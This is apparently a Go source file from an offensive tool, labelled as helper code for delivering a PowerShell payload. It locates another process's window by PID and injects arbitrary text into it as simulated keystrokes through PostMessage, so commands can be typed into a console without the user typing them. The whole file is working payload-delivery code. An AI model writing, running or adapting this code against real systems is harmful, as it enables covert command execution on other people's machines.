Window-related helper functions for delivering a [wmsg] PowerShell payload

window.go

package wmsg

import (
	"strings"
	"syscall"
	"unsafe"
)

const (
	WM_KEYDOWN = 0x0100
	WM_KEYUP   = 0x0101
	WM_CHAR    = 0x0102
)

var (
	user32                    = syscall.MustLoadDLL("user32.dll")
	pEnumWindows              = user32.MustFindProc("EnumWindows")
	pGetWindowThreadProcessId = user32.MustFindProc("GetWindowThreadProcessId")
	pPostMessage              = user32.MustFindProc("PostMessageA")
)

type keyT struct {
	code  uintptr
	count uintptr
}

// keysFromString transforms a string into a sequence of keystrokes
func keysFromString(str string) []keyT {
	str = strings.ReplaceAll(str, "\r\n", "\r")
	keys := []keyT{
		{uintptr(str[0]), 0},
	}
	i := 0
	// Collapse identical character sequences
	for _, k := range str {
		if k == rune(keys[i].code) {
			keys[i].count++
			continue
		}
		keys = append(keys, keyT{uintptr(k), 1})
		i++
	}
	return keys
}

// sendReturn simulates a special Return keystroke
func sendReturn(hwnd uintptr) error {
	for _, msg := range []uintptr{WM_KEYDOWN, WM_KEYUP} {
		r0, _, e0 := pPostMessage.Call(hwnd, msg, 0x0D, 0)
		if r0 == 0 {
			return error(e0)
		}
	}
	return nil
}

// sendKeys prepares and sends a payload of characters to a given window
func sendKeys(hwnd uintptr, str string) error {
	keys := keysFromString(str)
	for _, k := range keys {
		if k.code == 0x0D {
			if err := sendReturn(hwnd); err != nil {
				return err
			}
		}

		r0, _, e0 := pPostMessage.Call(hwnd, WM_CHAR, k.code, k.count)
		if r0 == 0 {
			return error(e0)
		}
		// This fixes a weird bug where there is one more repeated character being sent
		if k.count > 1 {
			if err := sendKeys(hwnd, "\b"); err != nil {
				return err
			}
		}
	}
	return nil
}

// findWindow obtains the handle of the first window belonging to a given process
func findWindow(pid uint32) syscall.Handle {
	var hwnd uintptr
	cb := syscall.NewCallback(func(h uintptr, p uintptr) uintptr {
		var _pid uintptr
		pGetWindowThreadProcessId.Call(h, uintptr(unsafe.Pointer(&_pid)))
		if _pid == uintptr(pid) {
			hwnd = h
			return 0
		}
		return 1
	})
	pEnumWindows.Call(cb, 0)
	return syscall.Handle(hwnd)
}